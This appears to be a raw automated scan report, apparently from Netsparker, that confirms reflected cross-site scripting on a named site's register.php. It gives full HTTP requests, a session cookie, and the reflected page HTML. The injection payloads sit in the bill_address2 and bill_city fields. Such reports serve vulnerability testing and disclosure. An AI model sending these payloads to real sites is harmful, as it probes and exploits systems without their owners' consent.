<option value='7C9931B12F31C0B5781FC19AD709E7B2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B52AE1130F9FE7E2486F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B55F108E467161CAA0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B510B28AC0B8CA55E5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B5420B3C4E69B3B5836F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B57B99A31AFB378430C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B547430E5275560BE3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B5E027CCAA15C628196F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B580F244DF895D1F77C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B5C7D8B54D37363F476F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B52EDC29DC9C208CB1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B587898913C03A668DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B572F01EDBAFDBE85CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5C2E3438E75A3A8ADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B590FB0AA55E394D37C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B53D88E94C361B5686C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B5610172921501A7876F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B5699E680995C627266F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B5EB1A2BF56EDE658F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST '"--></style></script><script>alert(0x001F9D)</script>
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F9D)%3c%2fscript%3e&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:24:23 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='7C9931B12F31C0B53D3D641B453714E8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='7C9931B12F31C0B5378BEF265F61D3956F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='7C9931B12F31C0B5065A57925989FF9EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B5EF1AF47B7C0911D3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='7C9931B12F31C0B58B186E7B9EA1FF4D6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='7C9931B12F31C0B59ED5134AB67A2896C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='7C9931B12F31C0B5D0A693B20553C129C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='7C9931B12F31C0B5E4E5298287E37D856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='7C9931B12F31C0B5AD020880A1843635C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='7C9931B12F31C0B5DD299BAB85433DAD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='7C9931B12F31C0B55AD81774A033865AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='7C9931B12F31C0B57948143B10AF53B0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='7C9931B12F31C0B543F1663CC5B110F5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='7C9931B12F31C0B571723B4773B2CE89C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='7C9931B12F31C0B56272F6C77777133EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='7C9931B12F31C0B504569EE57D567C0DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='7C9931B12F31C0B55DF2BA1F961B70D86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='7C9931B12F31C0B570973221E0AE80AE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='7C9931B12F31C0B55DFB4AB870F1BD666F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST '"--></style></script><script>alert(0x001F9E)</script>
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F9E)%3c%2fscript%3e&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:24:31 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function 